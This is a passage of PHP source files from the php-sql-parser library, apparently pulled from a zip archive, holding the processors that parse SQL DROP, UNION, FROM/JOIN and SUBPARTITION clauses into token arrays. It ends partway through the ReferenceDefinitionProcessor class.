 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the SUBPARTITION statements within CREATE TABLE.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SubpartitionDefinitionProcessor extends AbstractProcessor {

    protected function getReservedType($token) {
        return array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $token);
    }

    protected function getConstantType($token) {
        return array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $token);
    }

    protected function getOperatorType($token) {
        return array('expr_type' => ExpressionType::OPERATOR, 'base_expr' => $token);
    }

    protected function getBracketExpressionType($token) {
        return array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $token, 'sub_tree' => false);
    }

    public function process($tokens) {

        $result = array();
        $prevCategory = '';
        $currCategory = '';
        $parsed = array();
        $expr = array();
        $base_expr = '';
        $skip = 0;

        foreach ($tokens as $tokenKey => $token) {
            $trim = trim($token);
            $base_expr .= $token;

            if ($skip > 0) {
                $skip--;
                continue;
            }

            if ($skip < 0) {
                break;
            }

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {

            case 'SUBPARTITION':
                if ($currCategory === '') {
                    $expr[] = $this->getReservedType($trim);
                    $parsed = array('expr_type' => ExpressionType::SUBPARTITION_DEF, 'base_expr' => trim($base_expr),
                                    'sub_tree' => false);
                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'COMMENT':
                if ($prevCategory === 'SUBPARTITION') {
                    $expr[] = array('expr_type' => ExpressionType::SUBPARTITION_COMMENT, 'base_expr' => false,
                                    'sub_tree' => false, 'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'STORAGE':
                if ($prevCategory === 'SUBPARTITION') {
                    // followed by ENGINE
                    $expr[] = array('expr_type' => ExpressionType::ENGINE, 'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'ENGINE':
                if ($currCategory === 'STORAGE') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = $upper;
                    continue 2;
                }
                if ($prevCategory === 'SUBPARTITION') {
                    $expr[] = array('expr_type' => ExpressionType::ENGINE, 'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));
                    
                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case '=':
                if (in_array($currCategory, array('ENGINE', 'COMMENT', 'DIRECTORY', 'MAX_ROWS', 'MIN_ROWS'))) {
                    $expr[] = $this->getOperatorType($trim);
                    continue 2;
                }
                // else ?
                break;

            case ',':
                if ($prevCategory === 'SUBPARTITION' && $currCategory === '') {
                    // it separates the subpartition-definitions
                    $result[] = $parsed;
                    $parsed = array();
                    $base_expr = '';
                    $expr = array();
                }
                break;

            case 'DATA':
            case 'INDEX':
                if ($prevCategory === 'SUBPARTITION') {
                    // followed by DIRECTORY
                    $expr[] = array('expr_type' => constant('PHPSQLParser\utils\ExpressionType::SUBPARTITION_' . $upper . '_DIR'),
                                    'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'DIRECTORY':
                if ($currCategory === 'DATA' || $currCategory === 'INDEX') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'MAX_ROWS':
            case 'MIN_ROWS':
                if ($prevCategory === 'SUBPARTITION') {
                    $expr[] = array('expr_type' => constant('PHPSQLParser\utils\ExpressionType::SUBPARTITION_' . $upper),
                                    'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            default:
                switch ($currCategory) {

                case 'MIN_ROWS':
                case 'MAX_ROWS':
                case 'ENGINE':
                case 'DIRECTORY':
                case 'COMMENT':
                    $expr[] = $this->getConstantType($trim);

                    $last = array_pop($parsed['sub_tree']);
                    $last['sub_tree'] = $expr;
                    $last['base_expr'] = trim($base_expr);
                    $base_expr = $last['storage'] . $base_expr;
                    unset($last['storage']);

                    $parsed['sub_tree'][] = $last;
                    $parsed['base_expr'] = trim($base_expr);
                    $expr = $parsed['sub_tree'];
                    unset($last);

                    $currCategory = $prevCategory;
                    break;

                case 'SUBPARTITION':
                // that is the subpartition name
                    $last = array_pop($expr);
                    $last['name'] = $trim;
                    $expr[] = $last;
                    $expr[] = $this->getConstantType($trim);
                    $parsed['sub_tree'] = $expr;
                    $parsed['base_expr'] = trim($base_expr);
                    break;

                default:
                    break;
                }
                break;
            }

            $prevCategory = $currCategory;
            $currCategory = '';
        }

        $result[] = $parsed;
        return $result;
    }
}
?>
PK     \?s    M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/DropProcessor.phpnu [        <?php
/**
 * DropProcessor.php
 *
 * This file implements the processor for the DROP statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the DROP statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class DropProcessor extends AbstractProcessor {

    public function process($tokenList) {
        $exists = false;
        $base_expr = '';
        $objectType = '';
        $subTree = array();
        $option = false;

        foreach ($tokenList as $token) {
            $base_expr .= $token;
            $trim = trim($token);

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {
            case 'VIEW':
            case 'SCHEMA':
            case 'DATABASE':
            case 'TABLE':
                if ($objectType === '') {
                    $objectType = constant('PHPSQLParser\utils\ExpressionType::' . $upper);
                }
                $base_expr = '';
                break;
            case 'INDEX':
	            if ( $objectType === '' ) {
		            $objectType = constant( 'PHPSQLParser\utils\ExpressionType::' . $upper );
	            }
	            $base_expr = '';
	            break;
            case 'IF':
            case 'EXISTS':
                $exists = true;
                $base_expr = '';
                break;

            case 'TEMPORARY':
                $objectType = ExpressionType::TEMPORARY_TABLE;
                $base_expr = '';
                break;

            case 'RESTRICT':
            case 'CASCADE':
                $option = $upper;
                if (!empty($objectList)) {
                    $subTree[] = array('expr_type' => ExpressionType::EXPRESSION,
                                       'base_expr' => trim(substr($base_expr, 0, -strlen($token))),
                                       'sub_tree' => $objectList);
                    $objectList = array();
                }
                $base_expr = '';
                break;

            case ',':
                $last = array_pop($objectList);
                $last['delim'] = $trim;
                $objectList[] = $last;
                continue 2;

            default:
                $object = array();
                $object['expr_type'] = $objectType;
                if ($objectType === ExpressionType::TABLE || $objectType === ExpressionType::TEMPORARY_TABLE) {
                    $object['table'] = $trim;
                    $object['no_quotes'] = false;
                    $object['alias'] = false;
                }
                $object['base_expr'] = $trim;
                $object['no_quotes'] = $this->revokeQuotation($trim);
                $object['delim'] = false;

                $objectList[] = $object;
                continue 2;
            }

            $subTree[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
        }

        if (!empty($objectList)) {
            $subTree[] = array('expr_type' => ExpressionType::EXPRESSION, 'base_expr' => trim($base_expr),
                               'sub_tree' => $objectList);
        }

        return array('expr_type' => $objectType, 'option' => $option, 'if-exists' => $exists, 'sub_tree' => $subTree);
    }
}
?>
PK     \<V;  ;  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/UnionProcessor.phpnu [        <?php
/**
 * WhereProcessor.php
 *
 * This file implements the processor for the UNION statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the UNION statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class UnionProcessor extends AbstractProcessor {

    protected function processDefault($token) {
        $processor = new DefaultProcessor($this->options);
        return $processor->process($token);
    }

    protected function processSQL($token) {
        $processor = new SQLProcessor($this->options);
        return $processor->process($token);
    }

    public static function isUnion($queries) {
        $unionTypes = array('UNION', 'UNION ALL');
        foreach ($unionTypes as $unionType) {
            if (!empty($queries[$unionType])) {
                return true;
            }
        }
        return false;
    }

    /**
     * MySQL supports a special form of UNION:
     * (select ...)
     * union
     * (select ...)
     *
     * This function handles this query syntax. Only one such subquery
     * is supported in each UNION block. (select)(select)union(select) is not legal.
     * The extra queries will be silently ignored.
     */
    protected function processMySQLUnion($queries) {
        $unionTypes = array('UNION', 'UNION ALL');
        foreach ($unionTypes as $unionType) {

            if (empty($queries[$unionType])) {
                continue;
            }

            foreach ($queries[$unionType] as $key => $tokenList) {
                foreach ($tokenList as $z => $token) {
                    $token = trim($token);
                    if ($token === "") {
                        continue;
                    }

                    // starts with "(select"
                    if (preg_match("/^\\(\\s*select\\s*/i", $token)) {
                        $queries[$unionType][$key] = $this->processDefault($this->removeParenthesisFromStart($token));
                        break;
                    }
                    $queries[$unionType][$key] = $this->processSQL($queries[$unionType][$key]);
                    break;
                }
            }
        }

        // it can be parsed or not
        return $queries;
    }

    /**
     * Moves the final union query into a separate output, so the remainder (such as ORDER BY) can
     * be processed separately.
     */
    protected function splitUnionRemainder($queries, $unionType, $outputArray)
    {
        $finalQuery = [];

        //If this token contains a matching pair of brackets at the start and end, use it as the final query
        $finalQueryFound = false;
        if (count($outputArray) === 1) {
            $tokenAsArray = str_split(trim($outputArray[0]));
            if ($tokenAsArray[0] == '(' && $tokenAsArray[count($tokenAsArray)-1] == ')') {
                $queries[$unionType][] = $outputArray;
                $finalQueryFound = true;
            }
        }

        if (!$finalQueryFound) {
            foreach ($outputArray as $key => $token) {
                if (strtoupper($token) == 'ORDER') {
                    break;
                } else {
                    $finalQuery[] = $token;
                    unset($outputArray[$key]);
                }
            }
        }


        $finalQueryString = trim(implode($finalQuery));

        if (!empty($finalQuery) && $finalQueryString != '') {
            $queries[$unionType][] = $finalQuery;
        }

        $defaultProcessor = new DefaultProcessor($this->options);
        $rePrepareSqlString = trim(implode($outputArray));

        if (!empty($rePrepareSqlString)) {
            $remainingQueries = $defaultProcessor->process($rePrepareSqlString);
            $queries[] = $remainingQueries;
        }

        return $queries;
    }

    public function process($inputArray) {
        $outputArray = array();

        // ometimes the parser needs to skip ahead until a particular
        // oken is found
        $skipUntilToken = false;

        // his is the last type of union used (UNION or UNION ALL)
        // ndicates a) presence of at least one union in this query
        // b) the type of union if this is the first or last query
        $unionType = false;

        // ometimes a "query" consists of more than one query (like a UNION query)
        // his array holds all the queries
        $queries = array();

        foreach ($inputArray as $key => $token) {
            $trim = trim($token);

            // overread all tokens till that given token
            if ($skipUntilToken) {
                if ($trim === "") {
                    continue; // read the next token
                }
                if (strtoupper($trim) === $skipUntilToken) {
                    $skipUntilToken = false;
                    continue; // read the next token
                }
            }

            if (strtoupper($trim) !== "UNION") {
                $outputArray[] = $token; // here we get empty tokens, if we remove these, we get problems in parse_sql()
                continue;
            }

            $unionType = "UNION";

            // we are looking for an ALL token right after UNION
            for ($i = $key + 1; $i < count($inputArray); ++$i) {
                if (trim($inputArray[$i]) === "") {
                    continue;
                }
                if (strtoupper($inputArray[$i]) !== "ALL") {
                    break;
                }
                // the other for-loop should overread till "ALL"
                $skipUntilToken = "ALL";
                $unionType = "UNION ALL";
            }

            // store the tokens related to the unionType
            $queries[$unionType][] = $outputArray;
            $outputArray = array();
        }

        // the query tokens after the last UNION or UNION ALL
        // or we don't have an UNION/UNION ALL
        if (!empty($outputArray)) {
            if ($unionType) {
                $queries = $this->splitUnionRemainder($queries, $unionType, $outputArray);
            } else {
                $queries[] = $outputArray;
            }
        }

        return $this->processMySQLUnion($queries);
    }
}
?>
PK     \H+z,8  ,8  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/FromProcessor.phpnu [        <?php
/**
 * FromProcessor.php
 *
 * This file implements the processor for the FROM statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @author    George Schneeloch <noisecapella@gmail.com>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the FROM statement.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @author  Marco Th. <marco64th@gmail.com>
 * @author  George Schneeloch <noisecapella@gmail.com>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class FromProcessor extends AbstractProcessor {

    protected function processExpressionList($unparsed) {
        $processor = new ExpressionListProcessor($this->options);
        return $processor->process($unparsed);
    }

    protected function processColumnList($unparsed) {
        $processor = new ColumnListProcessor($this->options);
        return $processor->process($unparsed);
    }

    protected function processSQLDefault($unparsed) {
        $processor = new DefaultProcessor($this->options);
        return $processor->process($unparsed);
    }

    protected function initParseInfo($parseInfo = false) {
        // first init
        if ($parseInfo === false) {
            $parseInfo = array('join_type' => "", 'saved_join_type' => "JOIN");
        }
        // loop init
        return array('expression' => "", 'token_count' => 0, 'table' => "", 'no_quotes' => "", 'alias' => false,
                     'hints' => array(), 'join_type' => "", 'next_join_type' => "",
                     'saved_join_type' => $parseInfo['saved_join_type'], 'ref_type' => false, 'ref_expr' => false,
                     'base_expr' => false, 'sub_tree' => false, 'subquery' => "");
    }

    protected function processFromExpression(&$parseInfo) {
        $res = array();

        if ($parseInfo['hints'] === array()) {
            $parseInfo['hints'] = false;
        }

        // exchange the join types (join_type is save now, saved_join_type holds the next one)
        $parseInfo['join_type'] = $parseInfo['saved_join_type']; // initialized with JOIN
        $parseInfo['saved_join_type'] = ($parseInfo['next_join_type'] ? $parseInfo['next_join_type'] : 'JOIN');

        // we have a reg_expr, so we have to parse it
        if ($parseInfo['ref_expr'] !== false) {
            $unparsed = $this->splitSQLIntoTokens(trim($parseInfo['ref_expr']));

            // here we can get a comma separated list
            foreach ($unparsed as $k => $v) {
                if ($this->isCommaToken($v)) {
                    $unparsed[$k] = "";
                }
            }
            if ($parseInfo['ref_type'] === 'USING') {
            	// unparsed has only one entry, the column list
            	$ref = $this->processColumnList($this->removeParenthesisFromStart($unparsed[0]));
            	$ref = array(array('expr_type' => ExpressionType::COLUMN_LIST, 'base_expr' => $unparsed[0], 'sub_tree' => $ref));
            } else {
                $ref = $this->processExpressionList($unparsed);
            }
            $parseInfo['ref_expr'] = (empty($ref) ? false : $ref);
        }

        // there is an expression, we have to parse it
        if (substr(trim($parseInfo['table']), 0, 1) == '(') {
            $parseInfo['expression'] = $this->removeParenthesisFromStart($parseInfo['table']);

            if (preg_match("/^\\s*(-- [\\w\\s]+\\n)?\\s*SELECT/i", $parseInfo['expression'])) {
                $parseInfo['sub_tree'] = $this->processSQLDefault($parseInfo['expression']);
                $res['expr_type'] = ExpressionType::SUBQUERY;
            } else {
                $tmp = $this->splitSQLIntoTokens($parseInfo['expression']);
                $unionProcessor = new UnionProcessor($this->options);
                $unionQueries = $unionProcessor->process($tmp);

                // If there was no UNION or UNION ALL in the query, then the query is
                // stored at $queries[0].
                if (!empty($unionQueries) && !UnionProcessor::isUnion($unionQueries)) {
                    $sub_tree = $this->process($unionQueries[0]);
                }
                else {
                    $sub_tree = $unionQueries;
                }
                $parseInfo['sub_tree'] = $sub_tree;
                $res['expr_type'] = ExpressionType::TABLE_EXPRESSION;
            }
        } else {
            $res['expr_type'] = ExpressionType::TABLE;
            $res['table'] = $parseInfo['table'];
            $res['no_quotes'] = $this->revokeQuotation($parseInfo['table']);
        }

        $res['alias'] = $parseInfo['alias'];
        $res['hints'] = $parseInfo['hints'];
        $res['join_type'] = $parseInfo['join_type'];
        $res['ref_type'] = $parseInfo['ref_type'];
        $res['ref_clause'] = $parseInfo['ref_expr'];
        $res['base_expr'] = trim($parseInfo['expression']);
        $res['sub_tree'] = $parseInfo['sub_tree'];
        return $res;
    }

    public function process($tokens) {
        $parseInfo = $this->initParseInfo();
        $expr = array();
        $token_category = '';
        $prevToken = '';

        $skip_next = false;
        $i = 0;

        foreach ($tokens as $token) {
            $upper = strtoupper(trim($token));

            if ($skip_next && $token !== "") {
                $parseInfo['token_count']++;
                $skip_next = false;
                continue;
            } else {
                if ($skip_next) {
                    continue;
                }
            }

            if ($this->isCommentToken($token)) {
                $expr[] = parent::processComment($token);
                continue;
            }

            switch ($upper) {
            case 'CROSS':
            case ',':
            case 'INNER':
            case 'STRAIGHT_JOIN':
                break;

            case 'OUTER':
            case 'JOIN':
                if ($token_category === 'LEFT' || $token_category === 'RIGHT' || $token_category === 'NATURAL') {
                    $token_category = '';
                    $parseInfo['next_join_type'] = strtoupper(trim($prevToken)); // it seems to be a join
                } elseif ($token_category === 'IDX_HINT') {
                    $parseInfo['expression'] .= $token;
                    if ($parseInfo['ref_type'] !== false) { // all after ON / USING
                        $parseInfo['ref_expr'] .= $token;
                    }
                }
                break;

            case 'LEFT':
            case 'RIGHT':
            case 'NATURAL':
                $token_category = $upper;
                $prevToken = $token;
                $i++;
                continue 2;

            default:
                if ($token_category === 'LEFT' || $token_category === 'RIGHT') {
                    if ($upper === '') {
                        $prevToken .= $token;
                        break;
                    } else {
                        $token_category = '';     // it seems to be a function
                        $parseInfo['expression'] .= $prevToken;
                        if ($parseInfo['ref_type'] !== false) { // all after ON / USING
                            $parseInfo['ref_expr'] .= $prevToken;
                        }
                        $prevToken = '';
                    }
                }
                $parseInfo['expression'] .= $token;
                if ($parseInfo['ref_type'] !== false) { // all after ON / USING
                    $parseInfo['ref_expr'] .= $token;
                }
                break;
            }

            if ($upper === '') {
                $i++;
                continue;
            }

            switch ($upper) {
            case 'AS':
                $parseInfo['alias'] = array('as' => true, 'name' => "", 'base_expr' => $token);
                $parseInfo['token_count']++;
                $n = 1;
                $str = "";
                while ($str === "" && isset($tokens[$i + $n])) {
                    $parseInfo['alias']['base_expr'] .= ($tokens[$i + $n] === "" ? " " : $tokens[$i + $n]);
                    $str = trim($tokens[$i + $n]);
                    ++$n;
                }
                $parseInfo['alias']['name'] = $str;
                $parseInfo['alias']['no_quotes'] = $this->revokeQuotation($str);
                $parseInfo['alias']['base_expr'] = trim($parseInfo['alias']['base_expr']);
                break;

            case 'IGNORE':
            case 'USE':
            case 'FORCE':
                $token_category = 'IDX_HINT';
                $parseInfo['hints'][]['hint_type'] = $upper;
                continue 2;

            case 'KEY':
            case 'INDEX':
                if ($token_category === 'CREATE') {
                    $token_category = $upper; // TODO: what is it for a statement?
                    continue 2;
                }
                if ($token_category === 'IDX_HINT') {
                    $cur_hint = (count($parseInfo['hints']) - 1);
                    $parseInfo['hints'][$cur_hint]['hint_type'] .= " " . $upper;
                    continue 2;
                }
                break;

            case 'USING':
            case 'ON':
                $parseInfo['ref_type'] = $upper;
                $parseInfo['ref_expr'] = "";

            case 'CROSS':
            case 'INNER':
            case 'OUTER':
            case 'NATURAL':
                $parseInfo['token_count']++;
                break;

            case 'FOR':
                if ($token_category === 'IDX_HINT') {
                    $cur_hint = (count($parseInfo['hints']) - 1);
                    $parseInfo['hints'][$cur_hint]['hint_type'] .= " " . $upper;
                    continue 2;
                }

                $parseInfo['token_count']++;
                $skip_next = true;
                break;

            case 'STRAIGHT_JOIN':
                $parseInfo['next_join_type'] = "STRAIGHT_JOIN";
                if ($parseInfo['subquery']) {
                    $parseInfo['sub_tree'] = $this->parse($this->removeParenthesisFromStart($parseInfo['subquery']));
                    $parseInfo['expression'] = $parseInfo['subquery'];
                }

                $expr[] = $this->processFromExpression($parseInfo);
                $parseInfo = $this->initParseInfo($parseInfo);
                break;

            case ',':
                $parseInfo['next_join_type'] = 'CROSS';

            case 'JOIN':
                if ($token_category === 'IDX_HINT') {
                    $cur_hint = (count($parseInfo['hints']) - 1);
                    $parseInfo['hints'][$cur_hint]['hint_type'] .= " " . $upper;
                    continue 2;
                }

                if ($parseInfo['subquery']) {
                    $parseInfo['sub_tree'] = $this->parse($this->removeParenthesisFromStart($parseInfo['subquery']));
                    $parseInfo['expression'] = $parseInfo['subquery'];
                }

                $expr[] = $this->processFromExpression($parseInfo);
                $parseInfo = $this->initParseInfo($parseInfo);
                break;

            case 'GROUP BY':
                if ($token_category === 'IDX_HINT') {
                    $cur_hint = (count($parseInfo['hints']) - 1);
                    $parseInfo['hints'][$cur_hint]['hint_type'] .= " " . $upper;
                    continue 2;
                }

            default:
                // TODO: enhance it, so we can have base_expr to calculate the position of the keywords
                // build a subtree under "hints"
                if ($token_category === 'IDX_HINT') {
                    $token_category = '';
                    $cur_hint = (count($parseInfo['hints']) - 1);
                    $parseInfo['hints'][$cur_hint]['hint_list'] = $token;
                    break;
                }

                if ($parseInfo['token_count'] === 0) {
                    if ($parseInfo['table'] === "") {
                        $parseInfo['table'] = $token;
                        $parseInfo['no_quotes'] = $this->revokeQuotation($token);
                    }
                } else if ($parseInfo['token_count'] === 1) {
                    $parseInfo['alias'] = array('as' => false, 'name' => trim($token),
                                                'no_quotes' => $this->revokeQuotation($token),
                                                'base_expr' => trim($token));
                }
                $parseInfo['token_count']++;
                break;
            }
            $i++;
        }

        $expr[] = $this->processFromExpression($parseInfo);
        return $expr;
    }

}

?>
PK     \U1    \  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/ReferenceDefinitionProcessor.phpnu [        <?php
/**
 * ReferenceDefinitionProcessor.php
 *
 * This file implements the processor reference definition part of the CREATE TABLE statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 *
 * This class processes the reference definition part of the CREATE TABLE statements.
 *
 * @author arothe
 */
class ReferenceDefinitionProcessor extends AbstractProcessor {

    protected function buildReferenceDef($expr, $base_expr, $key) {
        $expr['till'] = $key;
        $expr['base_expr'] = $base_expr;
        return $expr;
    }

    public function process($tokens) {

        $expr = array('expr_type' => ExpressionType::REFERENCE, 'base_expr' => false, 'sub_tree' => array());
        $base_expr = '';

        foreach ($tokens as $key => $token) {

            $trim = trim($token);
            $base_expr .= $token;

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);

            switch ($upper) {

            case ',':
            # we stop on a single comma
            # or at the end of the array $tokens
                $expr = $this->buildReferenceDef($expr, trim(substr($base_expr, 0, -strlen($token))), $key - 1);
